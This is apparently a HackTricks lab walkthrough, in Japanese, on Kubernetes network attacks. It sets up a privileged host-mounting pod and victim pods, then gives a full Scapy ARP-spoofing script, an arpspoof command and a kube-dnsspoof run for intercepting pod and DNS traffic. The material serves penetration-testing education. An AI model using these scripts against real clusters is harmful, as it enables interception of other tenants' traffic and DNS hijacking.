Kubernetes Network Attacks

ハックトリックをサポートして特典を得る!

はじめに

Kubernetesはデフォルトで、同じノードで実行されているすべてのコンテナを接続します(異なる名前空間に属していても)。これにより、悪意のあるコンテナは同じノード上のコンテナに対してARPスプーフィング攻撃を実行し、トラフィックをキャプチャすることができます。

以下のシナリオでは、4つのマシンが作成されます:

  • ubuntu-pe:ノードから脱出してメトリックをチェックするための特権付きマシン(攻撃には必要ありません)

  • ubuntu-attack:デフォルトの名前空間にある悪意のあるコンテナ

  • ubuntu-victim:kube-system名前空間にある被害者マシン

  • mysql:デフォルトの名前空間にある被害者マシン

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

基本的なKubernetesネットワーキング

ここで紹介されているネットワーキングの詳細については、参考文献を参照してください。

ARP

一般的に、ノード内のポッド間のネットワーキングは、すべてのポッドを接続するブリッジを介して利用できます。このブリッジは「cbr0」と呼ばれます(一部のネットワークプラグインは独自のブリッジをインストールします)。cbr0はARP(アドレス解決プロトコル)の解決も処理できます。cbr0に到着したパケットは、ARPを使用して宛先MACアドレスを解決することができます。

この事実は、デフォルトでは、同じノードで実行されているすべてのポッドが、イーサネットレベル(レイヤ2)で同じノード内の他のポッドと通信できることを意味します(名前空間に関係なく)。

したがって、同じノードのポッド間でARPスプーフィング攻撃を実行することが可能です。

DNS

Kubernetes環境では、通常、1つ(または複数)のDNSサービスが実行されています。通常、kube-system名前空間で実行されます:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

前の情報で興味深いことがわかります。サービスのIP10.96.0.10ですが、サービスを実行しているポッドのIP172.17.0.2です。

任意のポッド内のDNSアドレスを確認すると、次のようなものが見つかります:

cat /etc/resolv.conf
nameserver 10.96.0.10

しかし、この場合、ポッドの範囲は172.17.0.10/26であるため、ポッドはそのアドレスに到達する方法を知りません

したがって、ポッドはDNSリクエストをアドレス10.96.0.10に送信し、それはcbr0によって172.17.0.2に変換されます。

これは、ポッドのDNSリクエストが、DNSサーバーがポッドと同じサブネットにある場合でも、常にブリッジに送信され、サービスIPがエンドポイントIPに変換されることを意味します。

これを知っていて、ARP攻撃が可能であることを知っている場合、ノード内のポッドは、サブネット内の各ポッドブリッジの間のトラフィックを傍受し、DNSサーバーからのDNSレスポンス変更することができます(DNSスプーフィング)。

さらに、DNSサーバー攻撃者と同じノードにある場合、攻撃者はクラスタ内の任意のポッドのすべてのDNSリクエスト(DNSサーバーとブリッジの間)を傍受し、レスポンスを変更することができます。

同じノードのポッドでのARPスプーフィング

私たちの目標は、ubuntu-victimからmysqlへの通信を少なくとも盗むことです。

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoofは、ARPプロトコルを悪用してネットワーク上の通信を傍受する攻撃手法です。この攻撃では、攻撃者は自身のMACアドレスをターゲットのMACアドレスに偽装し、ネットワーク上の通信を自分のマシンにリダイレクトします。これにより、攻撃者は通信内容を傍受したり、改ざんしたりすることができます。

ARPSpoofを実行するためには、以下の手順を実行します。

  1. 攻撃者は自身のマシンをネットワークに接続します。

  2. 攻撃者はARPプロトコルを使用して、ターゲットのIPアドレスとMACアドレスのマッピングを取得します。

  3. 攻撃者は自身のマシンのARPテーブルを更新し、ターゲットのIPアドレスに対するMACアドレスを自身のMACアドレスに偽装します。

  4. 攻撃者はARP応答パケットを送信し、ターゲットのARPテーブルを更新させます。

  5. ターゲットは攻撃者のMACアドレスを信頼し、通信を攻撃者のマシンに送信します。

ARPSpoofは、ネットワーク上の通信を傍受するだけでなく、中間者攻撃やセッションハイジャックなどの攻撃手法にも利用されます。この攻撃手法は、ネットワーク上のセキュリティを確保するために、ARPテーブルの監視やARPキャッシュのクリアなどの対策が必要です。

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNSスプーフィング

すでに述べたように、DNSサーバーポッドと同じノードのポッドを侵害すると、ARPSpoofingを使用してブリッジとDNSポッドをMitMにすることができ、すべてのDNS応答を変更することができます。

https://github.com/danielsagi/kube-dnsspoof/には、このテストに使用できる非常に便利なツールチュートリアルがあります。

シナリオでは、攻撃者のポッドにツールをダウンロードし、次のような**hostsという名前のファイルを作成します。スプーフィングしたいドメイン**を記述します。

cat hosts
google.com. 1.1.1.1

ubuntu-victimマシンへの攻撃を実行します:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

自分自身のDNSスプーフィングスクリプトを作ろうとする場合、DNSの応答を単に変更するだけではうまくいかないことに注意してください。なぜなら、応答には悪意のあるポッドのIPアドレスが含まれ、受け入れられないからです。 被害者がDNSリクエストを送信するDNSのsrc IP(172.16.0.2のようなもの)を持つ新しいDNSパケットを生成する必要があります。これについては、イントロダクションで詳しく説明しますが、それはK8sのDNSサービスIPであり、DNSサーバーのIPではありません。

トラフィックのキャプチャ

ツールMizuは、KubernetesのAPIトラフィックビューアであり、マイクロサービス間のすべてのAPI通信を表示し、デバッグやリグレッションのトラブルシューティングを支援するためのシンプルでパワフルなツールです。 選択したポッドにエージェントをインストールし、トラフィック情報を収集し、Webサーバーで表示します。ただし、これには高いK8sの権限が必要です(そしてあまりステルスではありません)。

参考文献

Support HackTricks and get benefits!

最終更新